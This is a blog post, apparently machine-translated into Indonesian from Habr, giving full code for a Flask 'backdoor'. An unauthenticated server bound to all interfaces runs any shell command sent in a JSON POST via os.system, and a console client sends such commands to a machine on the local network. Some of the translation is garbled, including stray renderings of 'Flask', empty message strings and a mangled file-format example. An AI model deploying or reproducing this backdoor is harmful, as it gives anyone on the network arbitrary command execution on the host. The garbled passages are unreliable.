Backdoor kecil di Flask atau cara mengontrol komputer di jaringan lokal

Halo, Habr!

Saya baru-baru ini menyaksikan versi yang sudah diunduh dari aliran pemrograman "Bagaimana Membuat Aplikasi Web Labu Anda". Dan dia memutuskan untuk menggabungkan pengetahuannya dalam beberapa proyek. Untuk waktu yang lama saya tidak tahu apa yang harus ditulis dan ide datang kepada saya: "Mengapa tidak membuat mini-backdoor di Flask?".

Opsi pertama untuk implementasi dan kemampuan backdoor segera muncul di kepala saya. Tapi saya memutuskan untuk segera membuat daftar fitur backdoor:

  1. Mampu membuka situs
  2. Memiliki akses baris perintah
  3. Dapat membuka program, foto, video

Jadi, item pertama sangat mudah diimplementasikan menggunakan modul webbrowser. Poin kedua saya memutuskan untuk menerapkan menggunakan modul os. Dan yang ketiga juga melalui modul os, tapi saya akan menggunakan "tautan" (lebih lanjut tentang itu nanti).

Ejaan server

Jadi * drum roll * semua kode server:

from flask import Flask, request import webbrowser import os import re app = Flask(__name__) @app.route('/mycomp', methods=['POST']) def hell(): json_string = request.json if json_string['command'] == 'test': return 'The server is running and waiting for commands...' if json_string['command'] == 'openweb': webbrowser.open(url='https://www.'+json_string['data'], new=0) return 'Site opening ' + json_string['data'] + '...' if json_string['command'] == 'shell': os.system(json_string['data']) return 'Command execution ' + json_string['data'] + '...' if json_string['command'] == 'link': links = open('links.txt', 'r') for i in range(int(json_string['data'])): link = links.readline() os.system(link.split('>')[0]) return 'Launch ' + link.split('>')[1] if __name__ == '__main__': app.run(host='0.0.0.0') 

Saya sudah membuang semua kode, saatnya menjelaskan esensinya.

Semua kode berjalan di komputer lokal di port 5000. Untuk berinteraksi dengan server, kami harus mengirim permintaan POST JSON.

Struktur permintaan JSON:

 {'command': 'comecommand', 'data': 'somedata'} 

Ya, logis bahwa 'perintah' adalah perintah yang ingin kita jalankan. Dan 'data' adalah argumen dari perintah.

Anda dapat menulis dan mengirim permintaan JSON untuk berinteraksi dengan server dengan pena (permintaan membantu Anda). Atau Anda dapat menulis klien konsol.

Penulisan Pelanggan

Kode:

 import requests logo = ['\n\n', '****** ********', '******* *********', '** ** ** **', '** ** ** ** Written on Python', '******* ** **', '******** ** **', '** ** ** ** Author: ROBOTD4', '** ** ** **', '** ** ** **', '******** *********', '******* ********', '\n\n'] p = '' iport = '192.168.1.2:5000' host = 'http://' + iport + '/mycomp' def test(): dict = {'command': 'test', 'data': 0} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) def start(): for i in logo: print(i) start() test() while True: command = input('>') if command == '': continue a = command.split() if command == 'test': dict = {'command': 'test', 'data': 0} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) if a[0] == 'shell': for i in range(1, len(a)): p = p + a[i] + ' ' dict = {'command': 'shell', 'data': p} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) p = '' if a[0] == 'link': if len(a) > 1: dict = {'command': 'link', 'data': int(a[1])} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('   !') if a[0] == 'openweb': if len(a) > 1: dict = {'command': 'openweb', 'data': a[1]} r = requests.post(host, json=dict) if r.status_code == 200: print (r.content.decode('utf-8')) else: print('   !') if a[0] == 'set': if a[1] == 'host': ip = a[2] + ':5000' if command == 'quit': break 

Penjelasan

Langkah pertama adalah mengimpor modul permintaan (untuk berinteraksi dengan server). Penjelasan lebih lanjut tentang fungsi mulai dan pengujian. Dan kemudian siklus di mana keajaiban terjadi. Sudahkah Anda membaca kodenya? Jadi makna sihir yang terjadi dalam siklus itu jelas bagi Anda. Masukkan perintah - ini berjalan. Shell - perintah untuk baris perintah ( logika melewati atap ).

Tes - periksa apakah server berfungsi (backdoor)
Tautan - menggunakan pintasan
Openweb - pembukaan situs web
Keluar - keluar dari klien
Set - atur ip komputer Anda di jaringan lokal

Dan sekarang lebih lanjut tentang tautan.

Di sebelah server adalah file tautan.txt. Ini berisi tautan (jalur lengkap) ke file (video, foto, program).

Strukturnya adalah sebagai berikut:

_>
_>


Ringkasan


Kami memiliki server backdoor untuk mengendalikan komputer di jaringan lokal (di dalam jaringan wi-fi). Secara teknis, kita dapat menjalankan klien dari perangkat apa pun yang memiliki juru bahasa python.

PS Saya menambahkan perintah set sehingga jika ip berbeda ditugaskan ke komputer di jaringan lokal, itu dapat diubah secara langsung di klien.

Source: https://habr.com/ru/post/id448360/


All Articles